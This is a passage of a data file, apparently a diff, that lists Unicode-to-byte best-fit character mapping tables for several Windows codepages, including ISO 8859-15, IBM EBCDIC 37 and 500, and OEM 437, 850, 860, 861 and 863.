0136:4b 0137:6b 013b:4c 013c:6c 0145:4e 0146:6e 014c:4f 014d:6f 014e:4f 014f:6f 0152:4f 0153:6f 0156:52 0157:72 015c:53 015d:73 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+#INVALID CODEPAGE: 28595
+#INVALID CODEPAGE: 28597
+28605 (ISO 8859-15 Latin 9)
+00a6:7c 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0138:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014a:4e 014b:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:54 0169:74 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0179:5a 017b:5a 017c:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+37    (IBM EBCDIC - U.S./Canada)
+0004:37 0005:2d 0006:2e 0007:2f 0008:16 0009:05 000a:25 0014:3c 0015:3d 0016:32 0017:26 001a:3f 001b:27 0020:40 0021:5a 0022:7f 0023:7b 0024:5b 0025:6c 0026:50 0027:7d 0028:4d 0029:5d 002a:5c 002b:4e 002c:6b 002d:60 002e:4b 002f:61 003a:7a 003b:5e 003c:4c 003d:7e 003e:6e 003f:6f 0040:7c 005f:6d 0060:79 007c:4f 007f:07 0080:20 0081:21 0082:22 0083:23 0084:24 0085:15 0086:06 0087:17 0088:28 0089:29 008a:2a 008b:2b 008c:2c 008d:09 008e:0a 008f:1b 0090:30 0091:31 0092:1a 0093:33 0094:34 0095:35 0096:36 0097:08 0098:38 0099:39 009a:3a 009b:3b 009c:04 009d:14 009e:3e 00a0:41 00a2:4a 00a6:6a 00ac:5f 00c0:64 00c1:65 00c2:62 00c3:66 00c4:63 00c5:67 00c7:68 00c8:74 00c9:71 00ca:72 00cb:73 00cc:78 00cd:75 00ce:76 00cf:77 00d1:69 00df:59 00e0:44 00e1:45 00e2:42 00e3:46 00e4:43 00e5:47 00e7:48 00e8:54 00e9:51 00ea:52 00eb:53 00ec:58 00ed:55 00ee:56 00ef:57 00f1:49 00f8:70 ff01:5a ff02:7f ff03:7b ff04:5b ff05:6c ff06:50 ff07:7d ff08:4d ff09:5d ff0a:5c ff0b:4e ff0c:6b ff0d:60 ff0e:4b ff0f:61 ff1a:7a ff1b:5e ff1c:4c ff1d:7e ff1e:6e ff20:7c ff3f:6d ff40:79 ff5c:4f 
+
+437   (OEM - United States)
+00a4:0f 00a7:15 00a8:22 00a9:63 00ad:2d 00ae:72 00af:5f 00b3:33 00b4:27 00b6:14 00b8:2c 00b9:31 00be:5f 00c0:41 00c1:41 00c2:41 00c3:41 00c8:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d7:78 00d8:4f 00d9:55 00da:55 00db:55 00dd:59 00de:5f 00e3:61 00f0:64 00f5:6f 00f8:6f 00fd:79 00fe:5f 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02ca:27 02cb:60 02cd:5f 02dc:7e 0300:60 0301:27 0302:5e 0303:7e 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2017:5f 2018:60 2019:27 201a:2c 201c:22 201d:22 201e:2c 2020:2b 2022:07 2026:2e 2030:25 2032:27 2035:60 2039:3c 203a:3e 203c:13 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2082:32 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:09 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2122:54 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2212:2d 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 2758:7c 3000:20 3007:09 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+500   (IBM EBCDIC - International)
+0004:37 0005:2d 0006:2e 0007:2f 0008:16 0009:05 000a:25 0014:3c 0015:3d 0016:32 0017:26 001a:3f 001b:27 0020:40 0021:4f 0022:7f 0023:7b 0024:5b 0025:6c 0026:50 0027:7d 0028:4d 0029:5d 002a:5c 002b:4e 002c:6b 002d:60 002e:4b 002f:61 003a:7a 003b:5e 003c:4c 003d:7e 003e:6e 003f:6f 0040:7c 005b:4a 005d:5a 005e:5f 005f:6d 0060:79 007f:07 0080:20 0081:21 0082:22 0083:23 0084:24 0085:15 0086:06 0087:17 0088:28 0089:29 008a:2a 008b:2b 008c:2c 008d:09 008e:0a 008f:1b 0090:30 0091:31 0092:1a 0093:33 0094:34 0095:35 0096:36 0097:08 0098:38 0099:39 009a:3a 009b:3b 009c:04 009d:14 009e:3e 00a0:41 00a6:6a 00c0:64 00c1:65 00c2:62 00c3:66 00c4:63 00c5:67 00c7:68 00c8:74 00c9:71 00ca:72 00cb:73 00cc:78 00cd:75 00ce:76 00cf:77 00d1:69 00df:59 00e0:44 00e1:45 00e2:42 00e3:46 00e4:43 00e5:47 00e7:48 00e8:54 00e9:51 00ea:52 00eb:53 00ec:58 00ed:55 00ee:56 00ef:57 00f1:49 00f8:70 ff01:4f ff02:7f ff03:7b ff04:5b ff05:6c ff06:50 ff07:7d ff08:4d ff09:5d ff0a:5c ff0b:4e ff0c:6b ff0d:60 ff0e:4b ff0f:61 ff1a:7a ff1b:5e ff1c:4c ff1d:7e ff1e:6e ff20:7c ff3b:4a ff3d:5a ff3e:5f ff3f:6d ff40:79 
+
+850   (OEM - Multilingual Latin I)
+0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01a9:53 01ab:74 01ae:54 01af:55 01b0:75 01b6:5a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:27 02cd:5f 02dc:7e 0300:27 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 037e:3b 0393:47 03a3:53 03a6:46 03a9:4f 03b1:61 03b4:64 03b5:65 03c0:70 03c3:73 03c4:74 03c6:66 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:2e 2030:25 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:39 207f:6e 2080:30 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20a7:50 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2122:54 2124:5a 2126:4f 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2211:53 2212:2d 2215:2f 2216:2f 2217:2a 2219:07 221a:56 221e:38 221f:1c 2229:6e 2236:3a 223c:7e 2248:7e 2261:3d 2264:3d 2265:3d 2302:7f 2303:5e 2320:28 2321:29 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 2713:56 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+860   (OEM - Portuguese)
+00a4:0f 00a5:59 00a7:15 00a8:22 00a9:63 00ad:5f 00ae:72 00af:16 00b3:33 00b4:2f 00b6:14 00b8:2c 00b9:31 00be:33 00c4:41 00c5:41 00c6:41 00cb:45 00ce:49 00cf:49 00d0:44 00d6:4f 00d7:58 00d8:4f 00db:55 00dd:59 00de:54 00e4:61 00e5:61 00e6:61 00eb:65 00ee:69 00ef:69 00f0:64 00f6:6f 00f8:6f 00fb:75 00fd:79 00fe:74 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:5c 0161:7c 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 0278:66 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02ca:2f 02cb:60 02cd:5f 02dc:7e 0300:60 0301:2f 0302:5e 0303:7e 0304:16 0305:16 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:5f 2011:5f 2013:5f 2014:5f 2017:5f 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:07 2024:07 2026:2e 2030:25 2032:27 2035:60 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212b:41 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d 30fb:07 
+
+861   (OEM - Icelandic)
+00a2:63 00a4:0f 00a5:59 00a7:15 00a8:22 00a9:63 00aa:61 00ad:5f 00ae:72 00af:16 00b3:33 00b4:2f 00b6:14 00b8:2c 00b9:31 00ba:6f 00be:33 00c0:41 00c2:41 00c3:41 00c8:45 00ca:45 00cb:45 00cc:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d4:4f 00d5:4f 00d7:58 00d9:55 00db:55 00e3:61 00ec:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f5:6f 00f9:75 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 0278:66 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02ca:2f 02cb:60 02cd:5f 02dc:7e 0300:60 0301:2f 0302:5e 0303:7e 0304:16 0305:16 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2017:5f 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:07 2030:25 2032:27 2035:27 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d 30fb:07 
+
+863   (OEM - Canadian French)
+00a1:21 00a5:59 00a9:63 00aa:61 00ad:16 00ae:72 00b9:33 00ba:6f 00c1:41 00c3:41 00c4:41 00c5:41 00c6:41 00cc:49 00cd:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d5:4f 00d6:4f 00d7:58 00d8:4f 00da:55 00dd:59 00de:54 00e1:61 00e3:61 00e4:61 00e5:61 00e6:61 00ec:69 00ed:69 00f0:64 00f1:6e 00f2:6f 00f5:6f 00f6:6f 00f8:6f 00fd:79 00fe:74 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:22 02ba:27 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 0304:16 0305:16 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:07 2030:25 2032:27 2035:27 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20a7:50 